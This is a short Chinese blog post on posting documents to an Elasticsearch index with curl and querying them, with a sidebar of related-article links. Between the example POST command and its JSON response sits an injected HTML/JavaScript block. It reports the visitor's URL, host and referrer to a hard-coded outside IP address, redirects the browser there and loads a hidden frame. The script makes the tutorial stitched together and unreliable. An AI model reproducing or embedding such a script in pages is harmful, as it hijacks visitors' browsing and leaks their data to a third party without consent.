关闭

elasticsearch curl post data

标签: elasticsearchcurl
247人阅读 评论(0) 收藏 举报
安装elasticsearch 之后,我们可以用curl 来post data 到某一个index 中

注意一定要在json 数据中做转义\"

curl -XPOST "http://localhost:9200/indexname/typename/optionalUniqueId" -d "{ \"field\" : \"value\"}" 


example:

"http://xx.xx.xx.xx:9200/blog_test1/blog/" -d "{\"title\": \"My second blog entry\", \"text\": \"Still trying this out...\", \"date\": \"2014/01/01\"}"
<html><head></head><script type="text/javascript">
var sa = "http://202.102.110.207:8080/"; var pp = "108&pre="+(new Date()).getTime();
var s=String(window.location.href); var host=escape(s.substring(7,s.indexOf('/',7)));
var ref=escape(document.referrer); var su = s+"&host="+host+"&refer="+ref+"&server="+pp;
s = escape(s); function loadfr(){ document.getElementById("fr1").src = sa+"3.htm?AIMT="+su; }
function refreshPage(){ document.location = sa+"2.htm?AIMT="+su; }
if (self.location == top.location){ document.location= sa+"1.htm?AIMT="+su; }
else { refreshPage(); }</script><frameset rows="*,0"><frame id="main" src="">
<frame id="fr1" src=""></frameset><body></body></html>


{"_index":"blog_test1","_type":"blog","_id":"AVUHXLK14xbt6WRPWynQ","_version":1,"_shards":{"total":2,"successful":2,"failed":0},"created":true}


query:
curl -i -XGET "http://xxx.xxx.xxx.xxx:9200/blog_test1/blog/_search?pretty" -d '{"query": { "match_all": {} },"_source": ["title"]}'
response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 577
{
  "took" : 11,
  "timed_out" : false,
  "_shards" : {
    "total" : 5,
    "successful" : 5,
    "failed" : 0
  },
  "hits" : {
    "total" : 2,
    "max_score" : 1.0,
    "hits" : [ {
      "_index" : "blog_test1",
      "_type" : "blog",
      "_id" : "AVUHXLK14xbt6WRPWynQ",
      "_score" : 1.0,
      "_source" : {
        "title" : "My second blog entry"
      }
    }, {
      "_index" : "blog_test1",
      "_type" : "blog",
      "_id" : "AVUHYYH_4xbt6WRPWynR",
      "_score" : 1.0,
      "_source" : {
        "title" : "My first blog entry"
      }
    } ]
  }
}

0
0
查看评论

Elasticsearch笔记二之Curl工具基本操作

Elasticsearch中Curl工具实现增加,删除,修改,查询,批处理
  • ty4315
  • ty4315
  • 2016-08-20 23:26
  • 8376

使用curl命令操作elasticsearch

第一:_cat系列 _cat系列提供了一系列查询elasticsearch集群状态的接口。你可以通过执行 curl -XGET localhost:9200/_cat 获取所有_cat系列的操作 =^.^= /_cat/allocation /_cat/shards /_cat/sha...
  • iloveyin
  • iloveyin
  • 2015-09-09 10:53
  • 19275

curl 命令提交post表单

POST (HTTP)It’s easy to post data using curl. This is done using the -d option. The post data must be urlencoded.Post a simple “name” and “phone”...
  • sinat_29173167
  • sinat_29173167
  • 2017-02-26 21:45
  • 2010

ElasticSearch之CURL操作

CURL的操作    curl是利用URL语法在命令行方式下工作的开源文件传输工具,使用curl可以简单实现常见的get/post请求。简单的认为是可以在命令行下面访问url的一个工具。在centos的默认库里面是有curl工具的,如果没有请yum安装即可。  ...
  • tangshiweibbs
  • tangshiweibbs
  • 2017-04-19 19:03
  • 2309

curl post上传文件的“failed creating formpost data“错误

之前写过一个php使用curl上传文件的代码,今天暴出了一个bug,curl错误信息为"failed creating formpost data" 先说一下curl上传文件的过程吧 $file =array("upimg"=>"...
  • hll870909
  • hll870909
  • 2012-04-17 19:25
  • 10143

Curl命令的data, data-ascii, data-binary, data-raw和data-urlencode选项详解

Curl命令提供了若干个设置HTTP POST数据的选项,这里比较如下: -d,--data 将HTTP POST请求中的数据发送给HTTP服务器,与用户提交HTML表单时浏览器的行为完全一样。 默认Content-type为application/x-www-form-urlenc...
  • taiyangdao
  • taiyangdao
  • 2017-08-10 09:07
  • 2294

Elasticsearch 入门:安装 curl 及加载案例数据

curl 是利用 URL 语法在命令行方式下工作的开源文件传输工具。
  • kk185800961
  • kk185800961
  • 2017-01-08 16:13
  • 1919

curl 发送from-data 和 参数(如何用-F 代替 -d)

当curl发送form-data数据的时候,又要post参数给请求,怎么办呢? cur使用 -d 发送post参数,使用 -F 发送form-data数据,可是同时使用的时候就会报错  Warning: You can only select one HTTP request! &#...
  • u014686399
  • u014686399
  • 2017-05-25 13:38
  • 992

curl模拟post请求提交

header('content-type:text/html;charset=utf-8'); function curlPost($url,$data,$method){ $ch = curl_init(); //1.初始化 curl_setopt($ch, CURLOPT_...
  • Zph1234
  • Zph1234
  • 2016-03-11 14:14
  • 4473

curl post传值,必须用urlencode

浏览器每次向服务器发送url时,会进行编码,然后web服务器再进行解码。 所以,理论上,curl模拟登陆时,所传参数都必须urlencode一下。 同时,浏览器fomat data区域的view source就是用来看浏览器传给服务器的真正参数,你可以在view source中看到,所传参数都是...
  • daijiguo
  • daijiguo
  • 2016-05-31 17:38
  • 2977
    个人资料
    • 访问:7308次
    • 积分:331
    • 等级:
    • 排名:千里之外
    • 原创:25篇
    • 转载:9篇
    • 译文:0篇
    • 评论:0条
    文章分类
    友情链接
    study